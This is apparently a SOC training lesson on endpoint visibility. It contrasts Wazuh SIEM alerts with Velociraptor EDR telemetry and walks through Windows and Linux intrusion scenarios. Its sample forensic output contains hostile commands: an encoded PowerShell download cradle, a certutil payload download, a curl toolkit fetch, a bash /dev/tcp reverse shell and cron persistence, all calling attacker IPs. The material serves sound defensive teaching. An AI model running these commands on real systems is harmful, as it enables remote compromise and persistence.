Why Endpoint Visibility Matters

The SIEM Sees Logs — The Endpoint Sees Everything

By now you have spent four modules inside Wazuh. You have triaged alerts, correlated events across log sources, enriched IOCs with threat intelligence from MISP, and built investigation workflows. Wazuh is powerful — but it has a fundamental limitation that no amount of rule tuning or dashboard customization can fix.

A SIEM only sees what gets logged.

Wazuh ingests log events: a Windows Security event 4688 tells you a process was created, but not what that process is doing right now. A Linux auth.log entry tells you someone authenticated via SSH, but not what commands they ran after the session started (unless auditd is configured to capture them — and even then, you get individual command logs, not a live process tree). A firewall log tells you a connection was allowed or blocked, but not what data traversed that connection.

An Endpoint Detection and Response (EDR) tool operates at a completely different level. Instead of waiting for log events to arrive at a central collector, an EDR agent sits on the endpoint itself and can query the live state of the machine on demand. It sees:

• Running processes — not "a process was created 3 hours ago" but "here are the 247 processes running right now, with their full command lines, parent-child relationships, loaded DLLs, open file handles, and memory consumption"
• Active network connections — every TCP/UDP socket, the remote IP and port, the owning process, the connection state, and how long it has been established
• File system state — files that exist right now, including hidden files, alternate data streams (Windows), recently modified binaries, and timestamps that may have been tampered with
• Persistence mechanisms — registry run keys, scheduled tasks, services, cron jobs, systemd units, shell profile modifications — anything that will survive a reboot
• User sessions — who is logged in, how they authenticated, what their session token looks like, whether they have elevated privileges
• Volatile artifacts — data that exists only in memory or in temporary state and will be lost on reboot: environment variables, loaded kernel modules, open named pipes, clipboard contents

Click to enlarge

The tool we use for endpoint investigation in CyberBlueSOC is Velociraptor, an open-source DFIR (Digital Forensics and Incident Response) platform. Velociraptor deploys a lightweight agent on endpoints and lets analysts run "artifacts" — pre-built collection scripts that query specific telemetry. Need every running process with its network connections? There is an artifact for that. Need every scheduled task, including hidden ones? Artifact. Need to scan memory for injected code? Artifact.

Think of the difference this way: Wazuh is a security camera system. It records events as they happen and lets you review the footage. Velociraptor is a detective with a warrant — it walks into the room and examines everything that is there right now, whether the cameras recorded it or not.

What Endpoint Telemetry Reveals

Endpoint telemetry falls into six categories. Every investigation you run in Velociraptor (or any EDR tool) will pull from one or more of these categories. Understanding what each reveals — and where to find it on both Windows and Linux — is foundational knowledge for any SOC analyst.

Click to enlarge

Processes

Processes are the heartbeat of an endpoint. Every action on a computer — legitimate or malicious — manifests as a process. When an attacker executes a payload, it runs as a process. When malware establishes persistence, it spawns a process. When data is exfiltrated, a process handles the network socket.

Windows telemetry sources:

• tasklist /v — lists running processes with verbose details (PID, session, memory, status, username, CPU time)
• Get-Process (PowerShell) — richer output including path, company, start time, and module list
• Sysmon Event ID 1 (Process Creation) — the gold standard. Logs parent process, command line, file hash, user, and logon session for every process creation. If Sysmon is deployed, you get a complete historical record of every process that ran.
• Task Manager / Process Explorer — GUI tools for live inspection. Process Explorer (Sysinternals) shows DLLs, handles, TCP/IP connections per process, and VirusTotal hash lookups.

Linux telemetry sources:

• ps auxf — shows all processes in a tree format with user, CPU, memory, start time, and full command line
• /proc/[pid]/ — the /proc virtual filesystem exposes everything about a running process: cmdline (full command), exe (symlink to binary), fd/ (open file descriptors), maps (memory regions), environ (environment variables), status (UID/GID, threads, memory stats)
• auditd — the Linux audit framework. When configured with -a always,exit -F arch=b64 -S execve, it logs every process execution with full command line, user, and working directory. This is the Linux equivalent of Sysmon Event ID 1.
• top / htop — real-time process monitoring with sorting by CPU, memory, and I/O

What to look for: Processes with suspicious parent-child relationships (e.g., winword.exe spawning powershell.exe, or apache2 spawning bash), processes running from unusual directories (/tmp, C:\Users\Public), processes with encoded or obfuscated command lines, and processes consuming unusual resources (a "svchost.exe" using 95% CPU is likely a crypto miner).

Network Connections

Every piece of data that leaves or enters an endpoint transits a network socket. Mapping active connections to their owning processes is one of the most powerful investigation techniques available.

Windows telemetry sources:

• netstat -naob — shows all connections with owning process name and PID (-o for PID, -b for executable name)
• Get-NetTCPConnection | Select LocalAddress,LocalPort,RemoteAddress,RemotePort,State,OwningProcess — PowerShell cmdlet with richer filtering
• TCPView (Sysinternals) — real-time GUI showing connections with process name, remote address, and data transfer rates. Highlights new/closed connections in green/red.

Linux telemetry sources:

• ss -tulnp — the modern replacement for netstat. Shows TCP/UDP listening and established connections with process name and PID. Faster than netstat on systems with many connections.
• netstat -tulnp — legacy but still widely used. Same information as ss but slower on busy systems.
• /proc/[pid]/net/tcp and /proc/[pid]/net/tcp6 — raw socket information in hex. Velociraptor artifacts parse these automatically.
• lsof -i — lists all network file descriptors, mapping each open socket to its owning process, user, and connection state.

What to look for: Outbound connections to known-bad IPs or unusual ports (4444, 8888, 1337 are common C2 defaults), processes that should not have network connections (e.g., notepad.exe connecting to an external IP), connections established at odd hours, and listening services that were not installed by IT (a backdoor listening on port 4444).

File System

The file system is where attackers store tools, stage data for exfiltration, and drop persistence mechanisms. File system analysis reveals what the attacker brought to the endpoint and what they plan to take from it.

Windows telemetry sources:

• NTFS Master File Table (MFT) — every file and directory on an NTFS volume has an MFT entry recording creation time, modification time, access time, and size. Velociraptor can parse the raw MFT to find deleted files whose entries have not been overwritten.
• Prefetch files (C:\Windows\Prefetch\*.pf) — Windows creates a Prefetch file the first time an executable runs, recording the executable name, run count, last run time, and files loaded during execution. Even if the attacker deletes their tool, the Prefetch file proves it existed and ran.
• Alternate Data Streams (ADS) — NTFS supports multiple data streams per file. Attackers can hide payloads in ADS: legitimate.txt:hidden_payload.exe. The file appears normal in Explorer, but the hidden stream contains malware.
• Recent files / Jump Lists — user activity artifacts showing recently accessed files and applications.

Linux telemetry sources:

• ext4 filesystem timestamps — similar to NTFS, ext4 records creation (crtime, on ext4 only), modification (mtime), access (atime), and metadata change (ctime) times. Timestamp discrepancies can reveal backdating (timestomping).
• Hidden dot-files — any file or directory starting with . is hidden from basic ls output. Attackers commonly use directories like /tmp/.cache/, /var/tmp/.fonts/, or /dev/shm/.x/ to store tools and payloads.
• /tmp, /var/tmp, /dev/shm — world-writable directories where attackers frequently drop tools. /dev/shm is particularly dangerous because it is a RAM-backed filesystem — files here never touch disk and leave no traditional forensic trace.
• find / -name ".*" -type f and find / -newer /etc/passwd -type f — search for hidden files and recently modified files across the entire filesystem.

What to look for: Files in world-writable directories (/tmp, C:\Users\Public), recently created executables, files with timestamps that do not match their neighbors (timestomping), hidden files and directories, known tool names (mimikatz, nc, ncat, chisel), and files with double extensions (invoice.pdf.exe).

Persistence Mechanisms

Persistence is how attackers survive reboots. If you remediate an intrusion but miss a persistence mechanism, the attacker is back the moment the system restarts. This is why persistence enumeration is critical during every investigation.

Windows persistence locations:

• Registry Run Keys — HKCU\Software\Microsoft\Windows\CurrentVersion\Run and HKLM\..\Run execute commands at every login. This is the most common and easiest persistence technique.
• Scheduled Tasks — schtasks /query /fo LIST /v enumerates all tasks. Attackers create tasks that run at boot, at login, or on a schedule to maintain access.
• Services — sc query type=all lists all services. Malicious services run as SYSTEM and start automatically. Look for services with unusual binary paths or generic descriptions.
• WMI Event Subscriptions — a stealthy persistence technique that uses Windows Management Instrumentation to trigger payloads on events (e.g., "run this command 5 minutes after any user logs in"). Harder to detect than registry keys.
• Startup folder — C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup — simple but effective.

Linux persistence locations:

• Cron jobs — /etc/crontab, /etc/cron.d/*, /var/spool/cron/crontabs/*, and per-user crontab -l. Attackers add entries that run reverse shells or download fresh payloads on a schedule.
• Systemd units — /etc/systemd/system/*.service and ~/.config/systemd/user/*.service. Malicious systemd services can be configured to restart automatically on failure, making them resilient to kill commands.
• Init scripts — /etc/init.d/* on SysV systems. Older but still present on many servers.
• Shell profiles — ~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile.d/*. A one-liner in .bashrc executes every time the user opens a shell.
• SSH authorized_keys — ~/.ssh/authorized_keys. Adding a public key gives the attacker password-less SSH access. This is one of the most common Linux persistence techniques and one of the most frequently missed during remediation.

What to look for: Any entry pointing to an unusual binary path, recently created persistence entries (check timestamps), entries referencing /tmp, encoded commands, or external URLs, and entries created by users who should not have administrative access.

User Activity

Understanding who was on the system and what they did is essential for attribution and scope assessment.

Windows telemetry sources:

• Event ID 4624 — successful logon. The LogonType field distinguishes interactive (type 2), network (type 3), RDP (type 10), and other logon methods. Type 10 from an unexpected IP at 3 AM is a strong indicator.
• Event ID 4625 — failed logon. Brute force attempts generate bursts of 4625 events.
• Event ID 4648 — explicit credential use (runas). Indicates an attacker or admin using alternate credentials.
• RDP session artifacts — qwinsta shows active RDP sessions. The Default.rdp file stores recent connection targets.

Linux telemetry sources:

• /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS) — records every authentication event: SSH logins, sudo commands, su switches, failed attempts, and PAM module results.
• wtmp / last — binary log of all login/logout events. last -a shows login history with source IP addresses.
• lastlog — shows the most recent login for every user account. Useful for spotting dormant accounts that suddenly become active.
• sudo logs — journalctl _COMM=sudo or grep sudo /var/log/auth.log. Every sudo invocation logs the user, the command, and whether it was allowed or denied.
• who / w — shows currently logged-in users, their source IP, login time, and current activity.

What to look for: Logins from unexpected source IPs or at unusual times, accounts that were dormant and suddenly became active, privilege escalation events (sudo to root, runas as Administrator), multiple failed attempts followed by a success (credential stuffing), and new user accounts created by non-admin processes.

System Logs

While SIEM already ingests many logs, endpoint investigation often requires examining log sources that were not forwarded to the SIEM, or examining log entries in their full original context rather than the parsed/normalized version.

Windows telemetry sources:

• Event Viewer — the native log browser. Key channels: Security, System, Application, PowerShell/Operational, Sysmon/Operational, Windows Defender/Operational.
• Sysmon — if deployed, Sysmon provides the richest endpoint telemetry on Windows: process creation (Event 1), network connections (Event 3), file creation (Event 11), registry modification (Event 13), DNS queries (Event 22), and more. Sysmon is effectively an EDR data source that runs as a Windows service.
• PowerShell Script Block Logging — logs the deobfuscated content of every PowerShell script that executes, even if the original script was encoded or obfuscated. Attackers frequently use PowerShell for post-exploitation, and script block logging captures exactly what ran.

Linux telemetry sources:

• /var/log/syslog or journalctl — the central system log. Contains kernel messages, service start/stop events, application logs, and hardware events.
• journalctl -u <service> — filter logs by systemd unit. Essential for investigating suspicious services.
• dmesg — kernel ring buffer. Shows hardware events, kernel module loads, and OOM (out of memory) kills. A loaded kernel module that was not part of the standard configuration could be a rootkit.
• Application-specific logs — /var/log/apache2/, /var/log/nginx/, /var/log/mysql/. Web server access logs can reveal the initial compromise vector (e.g., a web shell upload).

Real-World Scenario: What the SIEM Missed

Let us walk through two scenarios that demonstrate the gap between SIEM visibility and endpoint visibility. In both cases, the SIEM fires an alert, but the alert alone does not give you enough information to understand the full scope of the compromise.

Windows Scenario: The Macro Document

What the SIEM shows:

Wazuh fires rule 184665 (Sysmon — Suspicious Process Creation) on host WIN-SERVER-01 at 14:32:07 UTC. The alert shows:

Rule: 184665 — Sysmon: Suspicious process created
Host: WIN-SERVER-01
User: jsmith
Process: powershell.exe
Parent: WINWORD.EXE
Command: powershell.exe -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADIAMAAuADEAMAAxAC4ANAAyAC8AcwB0AGEAZwBlADIAJwApAA==
Timestamp: 2026-02-15T14:32:07.000Z

That is all Wazuh knows. A suspicious process was created. You know the host, the user, the parent process, and the encoded command. An experienced analyst recognizes the pattern — WINWORD.EXE spawning powershell.exe with a Base64-encoded command is a classic malicious macro execution. But the SIEM cannot tell you what happened next.

What Velociraptor reveals:

You deploy a collection artifact to WIN-SERVER-01 and within seconds you see the complete picture:

PROCESS TREE (Velociraptor: Windows.System.Pslist)
─── WINWORD.EXE (PID 4812, user: jsmith, started 14:31:45)
    └── powershell.exe (PID 7234, -enc aQBlAHgA..., started 14:32:07)
        └── cmd.exe (PID 8891, /c certutil -urlcache -f http://185.220.101.42/beacon.exe C:\Users\Public\svchost.exe, started 14:32:09)
            └── svchost.exe (PID 9102, C:\Users\Public\svchost.exe, started 14:32:11)

NETWORK CONNECTIONS (Velociraptor: Windows.Network.Netstat)
PID 9102 (svchost.exe) → 185.220.101.42:443 ESTABLISHED (active for 47 minutes)
PID 9102 (svchost.exe) → 10.0.1.50:445 ESTABLISHED (lateral movement attempt)

FILE SYSTEM (Velociraptor: Windows.Search.FileFinder)
C:\Users\Public\svchost.exe — created 14:32:11, 284KB, SHA256: a1b2c3...
C:\Users\jsmith\AppData\Local\Temp\stage2.ps1 — created 14:32:08, 12KB

PERSISTENCE (Velociraptor: Windows.Sys.StartupItems)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\Users\Public\svchost.exe"

Now you have the full story. The attacker sent a phishing document to jsmith. The macro executed an encoded PowerShell command that downloaded a second-stage payload using certutil. That payload (svchost.exe masquerading in C:\Users\Public) established a C2 connection to 185.220.101.42 and has been active for 47 minutes. It is also attempting lateral movement to 10.0.1.50 over SMB. The attacker installed a registry Run key for persistence. None of this detail was visible in the original SIEM alert.

Linux Scenario: The Web Server Compromise

What the SIEM shows:

Wazuh fires rule 100210 (custom rule — Suspicious process on web server) on host linux-web-01 at 03:18:22 UTC:

Rule: 100210 — Suspicious process execution on web server
Host: linux-web-01
User: www-data
Process: /bin/bash
Parent: /usr/sbin/apache2
Timestamp: 2026-02-15T03:18:22.000Z

A web server process (apache2) spawning a shell (bash) is never normal. But the SIEM alert does not tell you how the shell was obtained or what the attacker did with it.

What Velociraptor reveals:

PROCESS TREE (Velociraptor: Linux.Sys.Pslist)
─── apache2 (PID 1024, user: www-data, started Feb 12)
    └── bash (PID 28401, user: www-data, started 03:18:22)
        └── python3 (PID 28455, -c 'import socket,subprocess,os;...', started 03:18:24)
            └── curl (PID 28502, curl -s http://45.33.32.156/tools.tar.gz -o /tmp/.cache/tools.tar.gz, started 03:18:31)

NETWORK CONNECTIONS (Velociraptor: Linux.Network.Netstat)
PID 28455 (python3) → 45.33.32.156:8443 ESTABLISHED (reverse shell, active 2h 14m)

FILE SYSTEM (Velociraptor: Linux.Search.FileFinder)
/tmp/.cache/tools.tar.gz — created 03:18:33, 4.2MB
/tmp/.cache/update.sh — created 03:18:35, executable, contains: bash -i >& /dev/tcp/45.33.32.156/8443 0>&1
/var/www/html/.status.php — created 03:19:01, PHP web shell

PERSISTENCE (Velociraptor: Linux.Sys.Crontab)
www-data crontab: */5 * * * * /tmp/.cache/update.sh
/root/.ssh/authorized_keys — new key added at 03:22:14 (attacker's public key)

USERS (Velociraptor: Linux.Sys.LastUserLogin)
root login via SSH from 45.33.32.156 at 03:22:08 (privilege escalation achieved)

The full attack chain is now visible. The attacker exploited a vulnerability in the web application (or uploaded a web shell via file upload) to get command execution as www-data. They spawned a Python reverse shell connecting to their C2 server. They downloaded a toolkit to a hidden directory (/tmp/.cache/), planted a web shell at /var/www/html/.status.php for persistent web access, added a cron job to re-establish the reverse shell every 5 minutes, escalated to root (likely via a kernel exploit or misconfigured sudo), and added their SSH key to root's authorized_keys for persistent root access. The SIEM alert told you "bash spawned from apache." Velociraptor told you the entire intrusion narrative.

The Three Pillars: SIEM + Intel + Endpoint

You have now studied the three foundational capabilities that every effective SOC requires:

Pillar 1 — SIEM (Module 2: Wazuh): Continuous monitoring, log correlation, and alerting across your entire infrastructure. The SIEM sees every log event from every source — endpoints, firewalls, proxies, DNS servers, authentication systems — and fires alerts when patterns match detection rules. It is your early warning system and your historical archive.

Pillar 2 — Threat Intelligence (Module 5: MISP): Context that transforms raw alerts into actionable intelligence. When the SIEM fires an alert for traffic to 185.220.101.42, threat intel tells you that IP is a known Cobalt Strike C2 server associated with APT29, first reported 6 days ago, with high confidence. Without intel, you are investigating blind. With intel, you know who the likely adversary is, what tools they use, and what their objectives are.

Pillar 3 — Endpoint Investigation (Module 6: Velociraptor): Deep, on-demand visibility into individual hosts. When the SIEM alert and threat intel tell you that WIN-SERVER-01 is communicating with APT29 C2 infrastructure, Velociraptor shows you exactly what the attacker has done on that host — what processes are running, what files they dropped, how they are persisting, and whether they have moved laterally to other systems.

Each pillar compensates for the blind spots of the other two:

No single tool gives you the complete picture. The analysts who catch breaches — and the analysts who get hired — are the ones who move fluidly between all three.

What's Next

You now understand why endpoint visibility matters and what telemetry EDR tools collect. In Lesson 6.2, you will learn Velociraptor itself — how its agent-server architecture works, how to navigate the web interface, how to search for and run artifacts, and how to read the results. Then in Lab 6.1, you will put both lessons into practice: you will receive a Wazuh alert about a suspicious host, pivot to Velociraptor, and use artifacts to uncover a multi-stage attack including a C2 beacon, a crypto miner, a backdoor listener, a web shell, and an SSH key backdoor — all hidden in locations that the SIEM could not see.